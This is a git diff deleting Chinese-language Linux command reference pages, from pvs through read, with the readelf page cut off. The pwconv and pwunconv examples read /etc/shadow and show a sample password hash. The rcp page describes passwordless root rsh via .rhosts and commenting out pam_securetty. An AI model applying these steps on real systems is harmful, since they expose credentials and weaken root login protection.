- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pvs.html b/linux-command.docset/Contents/Resources/Documents/c/pvs.html deleted file mode 100644 index 66d2408a81..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pvs.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - pvs 命令,Linux pvs 命令详解:输出物理卷信息报表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pvs

-

输出物理卷信息报表

-

补充说明

-

pvs命令 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息,如果要得到更加详细的信息可以使用pvdisplay命令。

-

语法

-
pvs(选项)(参数)
-
-

选项

-
--noheadings:不输出标题头;
---nosuffix:不输出空间大小的单位。
-
-

参数

-

物理卷:要显示报表的物理卷列表。

-

实例

-

使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令:

-
pvs # 输出物理卷信息报表 
-
-

输出信息如下:

-
PV         VG     fmt  Attr PSize   PFree  
-/dev/sdb1  vg1000 lvm2 --   100.00M 100.00M  
-/dev/sdb2         lvm2 --   101.98M 101.98M
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pvscan.html b/linux-command.docset/Contents/Resources/Documents/c/pvscan.html deleted file mode 100644 index cd5f38a5ca..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pvscan.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - pvscan 命令,Linux pvscan 命令详解:扫描系统中所有硬盘的物理卷列表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pvscan

-

扫描系统中所有硬盘的物理卷列表

-

补充说明

-

pvscan命令 会扫描系统中连接的所有硬盘,列出找到的物理卷列表。使用pvscan命令的-n选项可以显示硬盘中的不属于任何卷组的物理卷,这些物理卷是未被使用的。

-

语法

-
pvscan(选项)
-
-

选项

-
-d:调试模式;
--e:仅显示属于输出卷组的物理卷;
--n:仅显示不属于任何卷组的物理卷;
--s:短格式输出;
--u:显示UUID。
-
-

实例

-

使用pvscan命令扫描当前系统中所有硬盘的物理卷,在命令行中输入下面的命令:

-
[root@localhost ~]# pvscan     #扫描所有硬盘上的物理卷 
-
-

输出信息如下:

-
PV /dev/sdb1         lvm2 [101.94 MB]  
-PV /dev/sdb2         lvm2 [101.98 MB]  
-Total: 2 [203.92 MB] / in use: 0 [0   ] / in no VG: 2 [203.92  
-MB] 
-
-

说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pwck.html b/linux-command.docset/Contents/Resources/Documents/c/pwck.html deleted file mode 100644 index 5c29133594..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pwck.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - pwck 命令,Linux pwck 命令详解:用来验证系统认证文件内容和格式的完整性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pwck

-

用来验证系统认证文件内容和格式的完整性

-

补充说明

-

pwck命令 用来验证系统认证文件/etc/passwd/etc/shadow的内容和格式的完整性。

-

语法

-
pwck(选项)(参数)
-
-

选项

-
-q:仅报告错误信息;
--s:以用户id排序文件“/etc/passwd”和“/etc/shadow”;
--r:只读方式运行指令。
-
-

参数

-
    -
  • 密码文件:指定密码文件的路径;
  • -
  • 影子文件:指定影子文件的路径。
  • -
-

实例

-
pwck /etc/passwd
-user 'lp': directory '/var/spool/lpd' does not exist
-user 'news': directory '/var/spool/news' does not exist
-user 'uucp': directory '/var/spool/uucp' does not exist
-user 'www-data': directory '/var/www' does not exist
-user 'list': directory '/var/list' does not exist
-user 'irc': directory '/var/run/ircd' does not exist
-user 'gnats': directory '/var/lib/gnats' does not exist
-user 'nobody': directory '/nonexistent' does not exist
-user 'syslog': directory '/home/syslog' does not exist
-user 'couchdb': directory '/var/lib/couchdb' does not exist
-user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist
-user 'usbmux': directory '/home/usbmux' does not exist
-user 'haldaemon': directory '/var/run/hald' does not exist
-user 'pulse': directory '/var/run/pulse' does not exist
-user 'saned': directory '/home/saned' does not exist
-user 'hplip': directory '/var/run/hplip' does not exist
-pwck:无改变
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pwconv.html b/linux-command.docset/Contents/Resources/Documents/c/pwconv.html deleted file mode 100644 index 9ee2b6c9de..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pwconv.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - pwconv 命令,Linux pwconv 命令详解:用来开启用户的投影密码 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pwconv

-

用来开启用户的投影密码

-

补充说明

-

pwconv命令 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于/etc目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在/etc目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。

-

语法

-
pwconv
-
-

实例

-
cat /etc/passwd | grep test
-test:x:3001:3001::/home/test:/bin/sh
-
-

此时可以发现密码段是x

-
cat /etc/shadow | grep test
-test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:15022:0:99999:7:::
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pwd.html b/linux-command.docset/Contents/Resources/Documents/c/pwd.html deleted file mode 100644 index 3e7086a4d4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pwd.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - - pwd 命令,Linux pwd 命令详解:显示当前工作目录的绝对路径。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pwd

-

显示当前工作目录的绝对路径。

-

目录

- -

内建命令

-

概要

-
pwd [-LP]
-
-

主要用途

-
    -
  • 显示当前工作目录。
  • -
-

选项

-
-L (默认值)打印环境变量"$PWD"的值,可能为符号链接。
--P 打印当前工作目录的物理位置。
-
-

返回值

-

返回状态为成功除非给出了非法选项或是当前目录无法读取。

-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
-

外部命令

-

概要

-
pwd [OPTION]...
-
-

主要用途

-
    -
  • 显示当前工作目录。
  • -
-

选项

-
-L, --logical 打印环境变量"$PWD"的值,可能为符号链接。
--P, --physical (默认值)打印当前工作目录的物理位置。
---help 显示帮助信息并退出。
---version 显示版本信息并退出。
-
-

返回值

-

返回状态为成功除非给出了非法选项或是当前目录无法读取。

-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man pwdinfo coreutils 'pwd invocation'
  2. -
  3. 启动或关闭内建命令请查看enable命令,关于同名优先级的问题请查看builtin命令的例子部分的相关讨论。
  4. -
  5. 在不禁用内建且当前环境没有定义pwd函数的情况下,使用/usr/bin/pwd指向coreutilspwd,使用pwd指向bash内建的pwd
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pwunconv.html b/linux-command.docset/Contents/Resources/Documents/c/pwunconv.html deleted file mode 100644 index 68585d0ce2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pwunconv.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - pwunconv 命令,Linux pwunconv 命令详解:用来关闭用户的投影密码 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pwunconv

-

用来关闭用户的投影密码

-

补充说明

-

pwunconv命令 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。

-

语法

-
pwunconv
-
-

实例

-
pwunconv     # 关闭影子密码
-cat /etc/passwd | grep test     # 发现密码已经在passwd文件中了
-test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:3001:3001::/home/test:/bin/sh
-
-ls /etc/shadow     # 查看影子文件,提示没有这个文件或目录
-ls: cannot access /etc/shadow: No such file or directory
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/quota.html b/linux-command.docset/Contents/Resources/Documents/c/quota.html deleted file mode 100644 index de602ffe89..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/quota.html +++ /dev/null @@ -1,170 +0,0 @@ - - - - - - - - - - - quota 命令,Linux quota 命令详解:显示磁盘已使用的空间与限制 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

quota

-

显示磁盘已使用的空间与限制

-

补充说明

-

quota命令 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。

-

语法

-
quota(选项)(参数)
-
-

选项

-
-g:列出群组的磁盘空间限制;
--q:简明列表,只列出超过限制的部分;
--u:列出用户的磁盘空间限制;
--v:显示该用户或群组,在所有挂入系统的存储设备的空间限制;
--V:显示版本信息。
-
-

参数

-

用户或者工作组:指定要显示的用户或者工作组。

-

实例

-

我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改/var/spool/mail 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中!

-

要求:Linux 主机里面主要针对 quser1 及 quser2 两个使用者来进行磁盘配额, 且这两个使用者都是挂在 qgroup 组里面的。每个使用者总共有 50MB 的磁盘空间 (不考虑 inode) 限制!并且 soft limit 为 45 MB;而宽限时间设定为 1 天, 但是在一天之内必须要将多余的文件删除掉,否则将无法使用剩下的空间 ;gquota 这个组考虑最大限额,所以设定为 90 MB!(注意,这样设置的好处是富有弹性,好比现在的邮件服务,那么多用户,承诺给用户每人最大空间为数GB,然而人们不可能每人都会使用那么大的空间,所以邮件服务的总空间,实际上肯定不是注册客户数乘以数GB,否则这样得多大啊。)

-
[root@localhost ~]# groupadd qgroup
-[root@localhost ~]# useradd -m -g qgroup quser1
-[root@localhost ~]# useradd -m -g qgroup quser2
-[root@localhost ~]# passwd quser1
-[root@localhost ~]# passwd quser2
-[root@localhost ~]# df     ===>  自己找一个合适的分区来做实验,这里用/disk2
-Filesystem             1K-blocks        Used      Available   Use% Mounted on
-/dev/hda1              5952252   3193292     2451720     57%     /
-/dev/hdb1            28267608       77904   26730604       1%     /disk2
-/dev/hda5              9492644     227252     8775412       3%     /disk1
-
-[root@localhost ~]# vi /etc/fstab
-LABEL=/             /                ext3      defaults                                     1 1
-LABEL=/disk1    /disk1        ext3      defaults                                      1 2
-LABEL=/disk2    /disk2        ext3      defaults,usrquota,grpquota       1 2  
-/dev/hda3         swap         swap     defaults                                     0 0
-
-

注意多了usrquota,grpquota,在defaults,usrquota,grpquota之间都没有空格,务必正确书写。这样就算加入了 quota 的磁盘格式了!不过,由于真正的 quota 在读取的时候是读取/etc/mtab这个文件的,而该文件需要重新开机之后才能够以/etc/fstab 的新数据进行改写!所以这个时候可以选择:重新开机 (reboot)。

-

重新remount filesystem来驱动设定值。

-
[root@localhost ~]# umount /dev/hdb1
-[root@localhost ~]# mount -a
-[root@localhost ~]# grep '/disk2' /etc/mtab
-/dev/hdb1 /disk2 ext3 rw,usrquota,grpquota 0 0
-
-

事实上,也可以利用 mount 的 remount 功能。

-
[root@localhost ~]# mount -o remount /disk2
-
-

这样就已经成功的将 filesystem 的 quota 功能加入。

-

扫瞄磁盘的使用者使用状况,并产生重要的 aquota.group 与 aquota.user:

-
[root@localhost ~]# quotacheck -avug
-quotacheck: Scanning /dev/hdb1 [/disk2] done
-quotacheck: Checked 3 directories and 4 files
-
-[root@localhost ~]# ll /disk2
--rw-------  1 root root  6144 Sep  6 11:44 aquota.group
--rw-------  1 root root  6144 Sep  6 11:44 aquota.user
-
-

使用 quotacheck 就可以轻易的将所需要的数据给他输出了!但奇怪的是,在某些 Linux 版本中,不能够以 aquota.user(group) 来启动quota ,可能是因为旧版 quota 的关系, 所以就另外做了一个 link 文件按来欺骗 quota,这个动作非必要。(主要是学习这个思维很重要)

-
[root@localhost ~]# cd /disk2
-[root@localhost ~]# ln -s aquota.user quota.user
-[root@localhost ~]# ln -s aquota.group quota.group
-
-

启动 quota 的限额:

-
[root@localhost ~]# quotaon -avug
-/dev/hdb1 [/disk2]: group quotas turned on
-/dev/hdb1 [/disk2]: user quotas turned on    ===>  看到turned on,才是真的成功!
-
-

编辑使用者的可使用空间:

-
[root@localhost ~]# edquota -u quser1
-Disk quotas for user quser1 (uid 502):
-  Filesystem    blocks    soft    hard   inodes   soft   hard
-  /dev/hdb1           0     45000    50000         0      0      0
-[root@localhost ~]# edquota -p quser1 quser2      ===>  直接复制给quser2
-
-

接下来要来设定宽限时间,还是使用 edquota

-
[root@localhost ~]# edquota -t
-Grace period before enforcing soft limits for users:
-time units may be: days, hours, minutes, or seconds
-  Filesystem             Block grace period     Inode grace period
-  /dev/hdb1                     1days                  7days
-
-

使用quota -v来查询:

-
[root@localhost ~]# quota -vu quser1 quser2
-Disk quotas for user quser1 (uid 502):
-     Filesystem  blocks   quota      limit   grace   files   quota   limit   grace
-      /dev/hdb1         0    45000    50000                   0       0       0
-Disk quotas for user quser2 (uid 503):
-     Filesystem  blocks   quota      limit   grace   files   quota   limit   grace
-      /dev/hdb1         0    45000    50000                   0       0       0
-
-

注意,由于使用者尚未超过45 MB,所以 grace ( 宽限时间 ) 就不会出现。

-

编辑群组可使用的空间:

-
[root@localhost ~]# edquota -g qgroup
-Disk quotas for group qgroup (gid 502):
-  Filesystem     blocks       soft       hard    inodes   soft   hard
-  /dev/hdb1            0      80000   90000           0      0      0
-
-[root@localhost ~]# quota -vg qgroup
-Disk quotas for group qgroup (gid 502):
-     Filesystem   blocks    quota      limit      grace    files   quota   limit   grace
-      /dev/hdb1         0     80000   90000                       0        0        0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/quotacheck.html b/linux-command.docset/Contents/Resources/Documents/c/quotacheck.html deleted file mode 100644 index 6a62c1216c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/quotacheck.html +++ /dev/null @@ -1,103 +0,0 @@ - - - - - - - - - - - quotacheck 命令,Linux quotacheck 命令详解:检查磁盘的使用空间与限制 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

quotacheck

-

检查磁盘的使用空间与限制

-

补充说明

-

quotacheck命令 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。

-

如果在执行quotacheck命令时出现了以下信息:

-
quotacheck: Your kernel probably supports journaled quota but you are not using it. Consider switching to journaled quota to avoid running quotacheck after an unclean shutdown. 
-
-

可以考虑将之前在文件系统的配置文件中添加的quota相关字段修改为:usrjquota=aquota.user,grpjquota=aquota.group,jqfmt=vfsv1,然后重新挂载文件系统:mount -vo remount 挂载目录(注意,如果这一步操作出现了任何问题,千万不要试图通过重启解决!将配置文件恢复原状是一个好的选择)

-

语法

-
quotacheck(选项)(参数)
-
-

选项

-
-a:扫描在/etc/fstab文件里,有加入quota设置的分区;
--c:对目标文件系统进行一次新的扫描,并创建新的quota文件;
--d:详细显示指令执行过程,便于排错或了解程序执行的情形;
--g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目;
--R:排除根目录所在的分区;
--u:扫描磁盘空间时,计算每个用户识别码所占用的目录和文件数目;
--v:显示指令执行过程。
-
-

参数

-

文件系统:指定要扫描的文件系统。

-

实例

-

将所有的在/etc/mtab内,含有quota支持的partition进行扫描:

-
[root@linux ~]# quotacheck -avug
-quotacheck: Scanning /dev/hdb1 [/disk2] done
-quotacheck: Checked 3 directories and 4 files
-
-

强制扫描已挂载的filesystem:

-
[root@linux ~]# quotacheck -avug -m
-
-

扫描指定的filesystem:

-
[root@linux ~]# quotacheck -cvug /disk2
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/quotaoff.html b/linux-command.docset/Contents/Resources/Documents/c/quotaoff.html deleted file mode 100644 index d98e761d42..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/quotaoff.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - quotaoff 命令,Linux quotaoff 命令详解:关闭Linux内核中指定文件系统的磁盘配额功能 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

quotaoff

-

关闭Linux内核中指定文件系统的磁盘配额功能

-

补充说明

-

quotaoff命令 用于关闭Linux内核中指定文件系统的磁盘配额功能。

-

语法

-
quotaoff(选项)(参数)
-
-

选项

-
-a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制;
--g:关闭群组的磁盘空间限制;
--u:关闭用户的磁盘空间限制;
--v:显示指令执行过程。
-
-

参数

-

文件系统:指定要关闭磁盘配额功能的文件系统。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/quotaon.html b/linux-command.docset/Contents/Resources/Documents/c/quotaon.html deleted file mode 100644 index d9539ee6ba..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/quotaon.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - quotaon 命令,Linux quotaon 命令详解:激活Linux内核中指定文件系统的磁盘配额功能 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

quotaon

-

激活Linux内核中指定文件系统的磁盘配额功能

-

补充说明

-

quotaon命令 执行quotaon指令可开启磁盘对用户和群组的空间使用限制,但在开启前,各分区的文件系统根目录必须存在通过quotacheck命令创建的quota配置文件。

-

语法

-
quotaon(选项)(参数)
-
-

选项

-
-a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制;
--g:开启群组的磁盘空间限制;
--u:开启用户的磁盘空间限制;
--v:显示指令指令执行过程。
-
-

参数

-

文件系统:指定要激活磁盘配额功能的文件系统。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rcconf.html b/linux-command.docset/Contents/Resources/Documents/c/rcconf.html deleted file mode 100644 index b6fd1f601e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rcconf.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - rcconf 命令,Linux rcconf 命令详解:Debian Linux下的运行等级服务配置工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rcconf

-

Debian Linux下的运行等级服务配置工具

-

补充说明

-

rcconf命令 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。

-

语法

-
rcconf(选项)
-
-

选项

-
--help:打印帮助信息;
---dialog:使用对话命令显示菜单;
---notermcheck:不按照终端属性来设置窗口尺寸。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rcp.html b/linux-command.docset/Contents/Resources/Documents/c/rcp.html deleted file mode 100644 index a54c0797f3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rcp.html +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - rcp 命令,Linux rcp 命令详解:使在两台Linux主机之间的文件复制操作更简单 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rcp

-

使在两台Linux主机之间的文件复制操作更简单

-

补充说明

-

rcp命令 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。

-

语法

-
rcp(选项)(参数)
-
-

选项

-
-p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间;
--r:递归处理,将指定目录下的文件与子目录一并处理;
--x:加密两台Linux主机间传送的所有信息。
--D:指定远程服务器的端口号。
-
-

同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线\\、双引号""或单引号''括起来,使所有的shell元字符都能被远程地解释。需要说明的是,rcp不提示输入口令,它通过rsh命令来执行拷贝。

-

directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式rname@rhost:path,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。

-

参数

-

源文件:指定要复制的源文件。源文件可以有多个。

-

实例

-

rcp命令使用条件

-

如果系统中有/etc/hosts文件,系统管理员应确保该文件包含要与之进行通信的远程主机的项。配置过程:

-

只对root用户生效

-

1、在双方root用户根目录下建立rhosts文件,并将双方的hostname加进去。在此之前应在双方的/etc/hosts文件中加入对方的ip和hostname
-2、把rsh服务启动起来,redhat默认是不启动的。
-方法:用执行ntsysv命令,在rsh选项前用空格键选中,确定退出。然后执行service xinetd restart即可。
-3、到/etc/pam.d/目录下,把rsh文件中的auth required /lib/security/pam_securetty.so一行用“#”注释掉即可。(只有注释掉这一行,才能用root用户登录)

-

将当前目录下的 test1 复制到名为 webserver1 的远程系统:

-
rcp test1 webserver1:/home/root/test3
-
-

在这种情况下,test1 被复制到远程子目录 test3下,名称仍为 test1 。如果仅提供了远程主机名,rcp 将把 test1 复制到远程主目录下,名称仍为 test1 。

-

还可以在目的目录中包含文件名。例如,将文件复制到名为 webserver1的系统中:

-
rcp test1 webserver1:/home/root/test3
-
-

在这种情况下,将 test1 复制到远程目录root 下并将其命名为 test3。

-

从远程系统复制文件:要将远程系统中的文件复制到本地目录下:

-
rcp remote_hostname:remote_file local_fileEnter
-
-

将远程系统 webserver1中的 test2 复制到当前目录:

-
rcp webserver1:/home/root/test2 .Enter
-
-

.是“当前目录”的简写形式。在这种情况下,远程目录中的 test2 被复制到当前目录下,名称仍为 test2 。

-

如果希望用新名称复制文件,请提供目标文件名。如果希望将 test2 复制到本地系统中的其他目录下,请使用以下绝对或相对路径名:

-
rcp webserver1:/home/root/test2 otherdir/ Enter
-
-

或者,如果希望用其他文件名将文件复制到其他目录下:

-
rcp webserver1:/home/root/test2 otherdir/otherfile Enter
-
-

将目录复制到远程系统:

-

要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。

-
rcp -r local_dir remote_hostname:remote_dir Enter
-
-

如果当前目录下没有 local_dir,则除本地目录名外,还需要提供相对路径名(自当前目录开始)或绝对路径名(自 / 顶级目录开始)。另外,如果主目录下没有 remote_dir,则 remote_dir 将需要一个相对路径(自主目录开始)或绝对路径(自 / 开始)。

-

要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:

-
rcp -r work webserver1:/home/root/products Enter
-
-

此命令在webserver1:/home/root/products下创建名为 work 的目录及其全部内容(假定/home/root/products已存在于 webserver1中)。

-

本示例假定用户处于包含 work 的本地目录下。否则,必须提供该目录的相对或绝对路径,如/home/root/work

-

从远程系统复制目录:

-

要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项。

-
rcp –r remote_hostname:remote_dir local_dir Enter
-
-

要将名为 work 的远程目录复制到当前目录,请键入以下内容:

-
rcp –r webserver1:/home/root/work .Enter
-
-

.表示当前目录。将在此目录下创建 work 目录。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/read.html b/linux-command.docset/Contents/Resources/Documents/c/read.html deleted file mode 100644 index ec462f30db..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/read.html +++ /dev/null @@ -1,177 +0,0 @@ - - - - - - - - - - - read 命令,Linux read 命令详解:从键盘读取变量值 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

read

-

从键盘读取变量值

-

补充说明

-

read命令 从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY

-

语法

-
read(选项)(参数)
-
-

选项

-
-p:指定读取值时的提示符;
--t:指定读取值时等待的时间(秒)。
-
-

参数

-

变量:指定读取值的变量名。

-

实例

-

下面的列表给出了read命令的常用方式:

-
read 1987name
-从标准输入读取输入并赋值给变量1987name。
-
-
read first last
-从标准输入读取输入到第一个空格或者回车,将输入的第一个单词放到变量first中,并将该行其他的输入放在变量last中。
-
-
read
-从标准输入读取一行并赋值给特定变量REPLY。
-
-
read -a arrayname
-把单词清单读入arrayname的数组里。
-
-
read -p "text"
-打印提示(text),等待输入,并将输入存储在REPLY中。
-
-
read -r line
-允许输入包含反斜杠。
-
-
read -t 3
-指定读取等待时间为3秒。
-
-
read -n 2 var
-从输入中读取两个字符并存入变量var,不需要按回车读取。
-
-
read -d ":" var
-用定界符“:”结束输入行。
-
-

read命令示例

-

从标准输入读取输入并赋值给变量1987name。

-
#read 1987name        #等待读取输入,直到回车后表示输入完毕,并将输入赋值给变量answer
-HelloWorld            #控制台输入Hello
-
-#echo $1987name       #打印变量
-HelloWorld
-
-

等待一组输入,每个单词之间使用空格隔开,直到回车结束,并分别将单词依次赋值给这三个读入变量。

-
#read one two three
-1 2 3                   #在控制台输入1 2 3,它们之间用空格隔开。
-
-#echo "one = $one, two = $two, three = $three"
-one = 1, two = 2, three = 3
-
-

REPLY示例

-
#read                  #等待控制台输入,并将结果赋值给特定内置变量REPLY。
-This is REPLY          #在控制台输入该行。 
-
-#echo $REPLY           #打印输出特定内置变量REPLY,以确认是否被正确赋值。
-
-This is REPLY
-
-

-p选项示例

-
#read -p "Enter your name: "            #输出文本提示,同时等待输入,并将结果赋值给REPLY。
-Enter you name: stephen                 #在提示文本之后输入stephen
-
-#echo $REPLY
-stephen
-
-

等待控制台输入,并将输入信息视为数组,赋值给数组变量friends,输入信息用空格隔开数组的每个元素。

-
#read -a friends
-Tim Tom Helen
-
-#echo "They are ${friends[0]}, ${friends[1]} and ${friends[2]}."
-They are Tim, Tom and Helen.
-
-

补充一个终端输入密码时候,不让密码显示出来的例子。

-

方法1:

-
#!/bin/bash
-read -p "输入密码:" -s pwd
-echo
-echo password read, is "$pwd"
-
-

方法2:

-
#!/bin/bash
-stty -echo
-read -p "输入密码:" pwd
-stty echo
-echo
-echo 输入完毕。
-
-

其中,选项-echo禁止将输出发送到终端,而选项echo则允许发送输出。

-

使用read命令从键盘读取变量值,并且将值赋给指定的变量,输入如下命令:

-
read v1 v3          #读取变量值
-
-

执行上面的指令以后,要求键入两个数据,如下所示:

-
Linux c+            #输入数据
-
-

完成之后,可以使用echo命令将指定的变量值输出查看,输入如下命令:

-
echo $v1 $v3       #输出变量的值
-
-

执行输出变量值的命令以后,将显示用户所输入的数据值,如下所示:

-
Linux c+           #输出变量值
-
-

注意:使用echo命令输出变量值时,必须在变量名前添加符号$。否则,echo将直接输出变量名。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/readelf.html b/linux-command.docset/Contents/Resources/Documents/c/readelf.html deleted file mode 100644 index 54db16b509..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/readelf.html +++ /dev/null @@ -1,582 +0,0 @@ - - - - - - - - - - - readelf 命令,Linux readelf 命令详解:用于显示elf格式文件的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

readelf

-

用于显示elf格式文件的信息

-

补充说明

-

readelf命令 用来显示一个或者多个elf格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。这里的elf-file(s)就表示那些被检查的文件。可以支持32位,64位的elf格式文件,也支持包含elf文件的文档(这里一般指的是使用ar命令将一些elf文件打包之后生成的例如lib*.a之类的“静态库”文件)。 

-

这个程序和objdump提供的功能类似,但是它显示的信息更为具体,并且它不依赖BFD库(BFD库是一个GNU项目,它的目标就是希望通过一种统一的接口来处理不同的目标文件),所以即使BFD库有什么bug存在的话也不会影响到readelf程序。 

-

运行readelf的时候,除了-v和-H之外,其它的选项必须有一个被指定。 

-

ELF文件类型

-

种类型的ELF文件:

-
    -
  1. 可重定位文件:用户和其他目标文件一起创建可执行文件或者共享目标文件,例如lib*.a文件。 
  2. -
  3. 可执行文件:用于生成进程映像,载入内存执行,例如编译好的可执行文件a.out。 
  4. -
  5. 共享目标文件:用于和其他共享目标文件或者可重定位文件一起生成elf目标文件或者和执行文件一起创建进程映像,例如lib*.so文件。 
  6. -
-

ELF文件作用:

-

ELF文件参与程序的连接(建立一个程序)和程序的执行(运行一个程序),所以可以从不同的角度来看待elf格式的文件: 

-
    -
